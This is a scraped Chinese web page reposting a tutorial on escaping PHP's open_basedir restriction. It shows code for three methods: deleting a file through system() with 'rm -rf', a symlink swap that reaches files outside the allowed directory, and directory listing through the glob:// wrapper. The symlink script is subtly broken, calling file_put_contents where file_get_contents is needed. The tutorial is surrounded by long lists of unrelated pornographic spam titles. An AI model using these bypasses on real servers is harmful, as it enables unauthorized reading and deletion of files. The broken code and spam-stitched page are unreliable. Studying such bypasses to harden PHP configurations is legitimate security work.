婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 知識庫 > PHP繞過open_basedir限制操作文件的方法

PHP繞過open_basedir限制操作文件的方法

熱門標簽:拉薩打電話機器人 寶安400電話辦理 智能外呼電銷系統 沈陽人工智能電銷機器人公司 合肥外呼系統app 電銷機器人-快迭智能 高識別電銷機器人 h5 地圖標注 哈爾濱400電話辦理到易號網

0x00 預備知識

關于open_basedir

open_basedir是php.ini中的一個配置選項

它可將用戶訪問文件的活動范圍限制在指定的區域,

假設open_basedir=/home/wwwroot/home/web1/:/tmp/,那么通過web1訪問服務器的用戶就無法獲取服務器上除了/home/wwwroot/home/web1/和/tmp/這兩個目錄以外的文件。

注意用open_basedir指定的限制實際上是前綴,而不是目錄名。

舉例來說: 若"open_basedir = /dir/user", 那么目錄 "/dir/user" 和 "/dir/user1"都是可以訪問的。所以如果要將訪問限制在僅為指定的目錄,請用斜線結束路徑名。

關于符號鏈接

符號鏈接又叫軟鏈接,是一類特殊的文件,這個文件包含了另一個文件的路徑名(絕對路徑或者相對路徑)。

路徑可以是任意文件或目錄,可以鏈接不同文件系統的文件。在對符號文件進行讀或寫操作的時候,系統會自動把該操作轉換為對源文件的操作,但刪除鏈接文件時,系統僅僅刪除鏈接文件,而不刪除源文件本身。

0x01 命令執行函數

由于open_basedir的設置對system等命令執行函數是無效的,所以我們可以使用命令執行函數來訪問限制目錄。

我們首先創建一個目錄

/home/puret/test/

且在該目錄下新建一個1.txt 內容為abc

nano 1.txt

再在該目錄下創建一個目錄命名為b

mkdir b

并且在該目錄下創建一個1.php文件內容為

?php
  echo file_get_contents("../1.txt");
?>

且在php.ini中設置好我們的open_basedir

open_basedir = /home/puret/test/b/

我們嘗試執行1.php看看open_basedir是否會限制我們的訪問

執行效果如圖

很明顯我們無法直接讀取open_basedir所規定以外的目錄文件。

接下來我們用system函數嘗試繞open_basedir的限制來刪除1.txt

編輯1.php為

?php
 system("rm -rf ../1.txt");
?>

先來看看執行1.php之前的文件情況

執行1.php之后

成功通過命令執行函數繞過open_basedir來刪除文件。
由于命令執行函數一般都會被限制在disable_function當中,所以我們需要尋找其他的途徑來繞過限制。

0x02 symlink()函數

我們先來了解一下symlink函數

bool symlink ( string $target , string $link )

symlink函數將建立一個指向target的名為link的符號鏈接,當然一般情況下這個target是受限于open_basedir的。
由于早期的symlink不支持windows,我的測試環境就放在Linux下了。

測試的PHP版本是5.3.0,其他的版本大家自測吧。

在Linux環境下我們可以通過symlink完成一些邏輯上的繞過導致可以跨目錄操作文件。

我們首先在/var/www/html/1.php中 編輯1.php的內容為

?php
  mkdir("c");
  chdir("c");
  mkdir("d");
  chdir("d");
  chdir("..");
  chdir("..");
  symlink("c/d","tmplink");
  symlink("tmplink/../../1.txt","exploit");
  unlink("tmplink");
  mkdir("tmplink");
  echo file_put_contents("http://127.0.0.1/exploit");
?>

接著在/var/www/中新建一個1.txt文件內容為

"abc"

再來設置一下我們的open_basedir

open_basedir = /var/www/html/

在html目錄下編輯一個php腳本檢驗一下open_basedir

?php
   file_get_contents("../1.txt");
?>

執行看下。

意料之中,文件無法訪問。

我們執行剛才寫好的腳本,1.php

可以看到成功讀取到了1.txt的文件內容,逃脫了open_basedir的限制

問題的關鍵就在于

symlink("tmplink/../../1.txt","exploit");

此時tmplink還是一個符號鏈接文件,它指向的路徑是c/d,因此exploit指向的路徑就變成了

c/d/../../1.txt

由于這個路徑在open_basedir的范圍之內所以exploit成功建立了。

之后我們刪除tmplink符號鏈接文件再新建一個同名為tmplink的文件夾,這時exploit所指向的路徑為

tmplink/../../

由于這時候tmplink變成了一個真實存在的文件夾所以tmplink/../../變成了1.txt所在的目錄即/var/www/

然后再通過訪問符號鏈接文件exploit即可直接讀取到1.txt的文件內容

當然,針對symlink()只需要將它放入disable_function即可解決問題,所以我們需要尋求更多的方法。

0x03 glob偽協議

glob是php自5.3.0版本起開始生效的一個用來篩選目錄的偽協議,由于它在篩選目錄時是不受open_basedir的制約的,所以我們可以利用它來繞過限制,我們新建一個目錄在/var/www/下命名為test

并且在/var/www/html/下新建t.php內容為

?php
  $a = "glob:///var/www/test/*.txt";
  if ( $b = opendir($a) ) {
    while ( ($file = readdir($b)) !== false ) {
      echo "filename:".$file."\n";
    }
    closedir($b);
  }
?>

執行結果如圖:

成功躲過open_basedir的限制讀取到了文件。

您可能感興趣的文章:
  • php利用ZipArchive類操作文件的實例
  • PHP操作文件的一些基本函數使用示例
  • PHP操作文件類的函數代碼(文件和文件夾創建,復制,移動和刪除)
  • PHP 操作文件的一些FAQ總結
  • PHP操作文件方法問答
  • 在PHP中操作文件的擴展屬性

標簽:山東 張家口 成都 巴中 梅州 林芝 威海 泰州

巨人網絡通訊聲明:本文標題《PHP繞過open_basedir限制操作文件的方法》,本文關鍵詞  PHP,繞過,open,basedir,限制,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《PHP繞過open_basedir限制操作文件的方法》相關的同類信息!
  • 本頁收集關于PHP繞過open_basedir限制操作文件的方法的相關信息資訊供網民參考!
  • 推薦文章
    婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av
    亚洲精品视频一区| 日韩精品成人一区二区在线| 国产精品99久久久| 丝瓜av网站精品一区二区| 亚洲欧洲成人自拍| 亚洲色图在线播放| 中文字幕制服丝袜成人av| 久久人人97超碰com| 日本一区二区在线不卡| 最新成人av在线| 日韩综合一区二区| 国产一区亚洲一区| 99久久亚洲一区二区三区青草| 亚洲成a人片在线不卡一二三区| 亚洲国产日日夜夜| 成人免费毛片高清视频| 欧美日韩在线综合| 国产午夜精品久久久久久免费视| 精品国产一区二区三区久久久蜜月| 国产偷国产偷亚洲高清人白洁| 国产亚洲精久久久久久| 亚洲人亚洲人成电影网站色| 视频一区中文字幕国产| 国产mv日韩mv欧美| 91精品啪在线观看国产60岁| 国产午夜精品久久| 日韩精品电影一区亚洲| 91久久免费观看| 日本亚洲最大的色成网站www| 成人丝袜高跟foot| 欧美激情中文字幕| 国产一区在线精品| 久久婷婷色综合| 国产99精品在线观看| 91精品国产一区二区| 91精品国产高清一区二区三区| 亚洲影视在线播放| 91麻豆免费在线观看| 亚洲天堂久久久久久久| 色综合天天做天天爱| 国产精品灌醉下药二区| 色综合色狠狠综合色| 中文子幕无线码一区tr| eeuss鲁片一区二区三区在线看 | 午夜精品一区二区三区三上悠亚| 国产自产v一区二区三区c| av激情综合网| 亚洲午夜影视影院在线观看| 色8久久人人97超碰香蕉987| 亚洲综合在线视频| 欧美日韩国产片| 国产精品伊人色| 亚洲精品免费视频| 中文字幕中文字幕在线一区| 91麻豆精品视频| 日韩一区二区不卡| 国产精品久久久久久久久免费相片| 国产精品美女久久久久久久久久久 | 亚洲精品福利视频网站| 日本一二三四高清不卡| 亚洲国产一区二区视频| 久久99日本精品| 成人动漫视频在线| 91久久一区二区| 国产精品二区一区二区aⅴ污介绍| 亚洲成人动漫一区| 91啪在线观看| 国产欧美一区在线| 国产精品一区二区果冻传媒| 欧美日韩国产bt| 一区二区欧美视频| 成人高清免费观看| 日韩理论电影院| 日本韩国欧美一区二区三区| 亚洲色图制服丝袜| 99视频一区二区三区| 国产精品久久久久影视| 国产福利电影一区二区三区| 欧美变态tickling挠脚心| 99久久精品国产网站| 日本一区二区三区国色天香| 免费成人av在线| 欧美精品一区二区在线观看| 激情综合网av| 国产精品嫩草99a| 91小宝寻花一区二区三区| 国产精品国产三级国产aⅴ中文 | 欧美日本国产视频| 午夜精彩视频在线观看不卡| 日韩欧美一级二级| 成人免费毛片app| 日韩av中文字幕一区二区| 精品国产免费一区二区三区香蕉| 国产成人综合亚洲网站| 午夜精品国产更新| 亚洲精品一区二区三区99| 国产99一区视频免费| 夜夜嗨av一区二区三区中文字幕| 99久久久精品| 五月婷婷激情综合| 国产精品丝袜久久久久久app| av成人免费在线观看| 亚洲午夜精品一区二区三区他趣| 91精品国产综合久久久久久漫画| 精品一区二区av| 亚洲综合999| 久久久久久久综合色一本| 色综合久久中文字幕| 久久福利视频一区二区| 国产精品久久久久久久浪潮网站| 精品乱人伦一区二区三区| 成人国产在线观看| 狠狠色丁香久久婷婷综| 亚洲国产中文字幕| 国产精品人成在线观看免费| 99re这里都是精品| 国产91丝袜在线播放| 捆绑紧缚一区二区三区视频| 中文字幕一区二区三区四区不卡 | 99re成人在线| 亚洲午夜在线视频| 国产亚洲视频系列| 欧美国产综合色视频| 日韩午夜精品视频| 欧美一区二区免费| 91麻豆精品国产91| 欧美视频在线不卡| 2021中文字幕一区亚洲| 欧美日韩高清在线播放| 欧美另类变人与禽xxxxx| 欧美日本韩国一区| 欧美一激情一区二区三区| 精品视频在线免费看| 欧美日产国产精品| 国产欧美视频一区二区三区| 亚洲成人黄色小说| 欧美自拍丝袜亚洲| 欧美电影一区二区| 久久精品亚洲国产奇米99| 亚洲女人小视频在线观看| 成人小视频免费在线观看| 国产盗摄视频一区二区三区| 国产精品一二三四区| 色女孩综合影院| 久久久久久**毛片大全| 亚洲人成网站影音先锋播放| 另类专区欧美蜜桃臀第一页| 有坂深雪av一区二区精品| 日本亚洲电影天堂| 成人看片黄a免费看在线| 在线国产电影不卡| 国产午夜精品一区二区三区嫩草| 一区二区视频免费在线观看| 久久不见久久见免费视频7| 欧美久久久久久久久久| 久久婷婷久久一区二区三区| 亚洲欧美日韩中文字幕一区二区三区| 经典三级一区二区| 国产视频一区在线播放| 久久精品国产久精国产| 精品国产一二三| 亚洲18色成人| 99久久99久久精品免费观看| 2020国产精品自拍| 北条麻妃一区二区三区| 亚洲高清免费视频| 精品久久久久久最新网址| 91网站在线观看视频| 亚洲午夜免费福利视频| 日韩精品一区二区在线观看| 国产在线日韩欧美| 亚洲综合色成人| 久久视频一区二区| 色8久久人人97超碰香蕉987| 日韩精品视频网站| 亚洲精品乱码久久久久久| 欧美日韩精品二区第二页| 高清视频一区二区| 伊人开心综合网| 欧美激情一区二区在线| 精品国产1区二区| 日韩午夜激情电影| 精品久久久久久最新网址| 精品国产一区二区亚洲人成毛片| 日韩一区二区三区在线观看| 日韩午夜激情免费电影| 欧美亚洲综合色| 成人一区二区三区在线观看| 亚洲国产人成综合网站| 国产片一区二区| 久久精品一区二区三区av| 91精品国产综合久久久久久久| 91视频观看免费| 99精品国产热久久91蜜凸| 久久电影国产免费久久电影 | 亚洲高清在线视频| 国产欧美1区2区3区| 欧美激情一区不卡| 亚洲欧美韩国综合色| 天天综合网 天天综合色|